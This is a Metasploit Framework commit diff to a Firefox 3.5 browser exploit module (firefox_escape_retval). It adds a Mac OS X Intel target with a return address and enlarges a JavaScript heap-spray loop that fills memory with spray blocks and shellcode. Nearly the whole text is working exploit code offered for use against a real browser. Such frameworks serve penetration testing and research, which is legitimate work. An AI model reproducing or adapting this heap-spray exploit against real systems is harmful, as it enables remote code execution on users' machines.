Adds support for Mac OS X intel (use the vforkshell payloads)

git-svn-id: file:///home/svn/framework3/trunk@6828 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/multi/browser/firefox_escape_retval.rb

@@ -55,6 +55,13 @@ class Metasploit3 < Msf::Exploit::Remote
 							'Arch' => ARCH_X86,
 							'Ret'  => 0x0c0c0c0c,
 						}
+					],
+					[ 'Firefox 3.5.0 on Mac OS X (Intel)', 
+						{
+							'Platform' => 'osx',
+							'Arch' => ARCH_X86,
+							'Ret'  => 0x40404040,
+						}
 					]
 				],
 			'DefaultTarget'  => 0,
@@ -97,7 +104,7 @@ while (fullblock.length<0x60000)
     fullblock += fullblock;
 }
 sprayContainer = new Array();
-for (xi=0; xi<600; xi++)  
+for (xi=0; xi<700; xi++)  
 {
     sprayContainer[xi] = fullblock + shellcode;
 }